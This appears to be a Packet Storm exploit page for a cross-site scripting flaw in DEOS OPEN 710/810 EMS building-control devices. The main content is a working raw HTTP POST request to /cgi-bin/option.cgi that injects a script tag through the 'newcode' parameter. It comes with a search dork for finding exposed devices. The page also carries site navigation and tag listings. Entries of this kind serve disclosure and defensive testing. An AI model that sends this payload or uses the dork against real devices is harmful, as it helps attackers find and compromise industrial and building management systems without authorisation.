DEOS AG OPEN 710/810 Cross Site Scripting ≈ Packet Storm

Home^[1] Files^[2] News^[3] Contact^[4] Add New^[5]

Change Mirror^[11] Download^[12]

        # Title: DEOS control systems GmbH - OPEN 710/810 EMS > Cross Site Scripting Vulnerability
# Dork: app:"DEOS AG OPEN EMS System ics device httpd"
# Vendor page: https://www.deos-ag.com/en/
# Exploit Author: n4pst3r
# Tested on: Debian 
POST /cgi-bin/option.cgi?function=2 HTTP/1.1
Content-Length: 83
Content-Type: application/x-www-form-urlencoded
Referer: http://localhost/cgi-bin/cosmobdf.cgi?function=%271&session=0&grafik=0
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip;deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML; like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
devcode_form=&lastcode_form=&newcode=94102_</script><script>prompt(1337)</script>

• Follow us on Twitter^[15]
• Follow us on Facebook^[16]
• Subscribe to an RSS Feed^[17]

File Tags

• ActiveX^[18] (932)
• Advisory^[19] (76,888)
• Arbitrary^[20] (14,995)
• BBS^[21] (2,859)
• Bypass^[22] (1,532)
• CGI^[23] (1,010)
• Code Execution^[24] (6,551)
• Conference^[25] (668)
• Cracker^[26] (797)
• CSRF^[27] (3,258)
• DoS^[28] (21,616)
• Encryption^[29] (2,323)
• Exploit^[30] (49,360)
• File Inclusion^[31] (4,128)
• File Upload^[32] (934)
• Firewall^[33] (821)
• Info Disclosure^[34] (2,536)
• Intrusion Detection^[35] (846)
• Java^[36] (2,759)
• JavaScript^[37] (791)
• Kernel^[38] (5,941)
• Local^[39] (13,935)
• Magazine^[40] (586)
• Overflow^[41] (12,061)
• Perl^[42] (1,410)
• PHP^[43] (5,032)
• Proof of Concept^[44] (2,275)
• Protocol^[45] (3,261)
• Python^[46] (1,373)
• Remote^[47] (29,457)
• Root^[48] (3,438)
• Ruby^[49] (574)
• Scanner^[50] (1,629)
• Security Tool^[51] (7,651)
• Shell^[52] (3,025)
• Shellcode^[53] (1,200)
• Sniffer^[54] (878)
• Spoof^[55] (2,070)
• SQL Injection^[56] (15,924)
• TCP^[57] (2,347)
• Trojan^[58] (668)
• UDP^[59] (866)
• Virus^[60] (657)
• Vulnerability^[61] (30,233)
• Web^[62] (8,909)
• Whitepaper^[63] (3,704)
• x86^[64] (942)
• XSS^[65] (17,243)
• Other^[66]

File Archives

• March 2022^[67]
• February 2022^[68]
• January 2022^[69]
• December 2021^[70]
• November 2021^[71]
• October 2021^[72]
• September 2021^[73]
• August 2021^[74]
• July 2021^[75]
• June 2021^[76]
• May 2021^[77]
• April 2021^[78]
• Older^[79]

Systems

• AIX^[80] (424)
• Apple^[81] (1,863)
• BSD^[82] (368)
• CentOS^[83] (55)
• Cisco^[84] (1,911)
• Debian^[85] (5,947)
• Fedora^[86] (1,690)
• FreeBSD^[87] (1,241)
• Gentoo^[88] (4,152)
• HPUX^[89] (876)
• iOS^[90] (312)
• iPhone^[91] (108)
• IRIX^[92] (220)
• Juniper^[93] (67)
• Linux^[94] (41,598)
• Mac OS X^[95] (682)
• Mandriva^[96] (3,105)
• NetBSD^[97] (255)
• OpenBSD^[98] (477)
• RedHat^[99] (11,137)
• Slackware^[100] (941)
• Solaris^[101] (1,605)
• SUSE^[102] (1,444)
• Ubuntu^[103] (7,654)
• UNIX^[104] (9,032)
• UnixWare^[105] (183)
• Windows^[106] (6,306)
• Other^[107]

© 2020 Packet Storm. All rights reserved.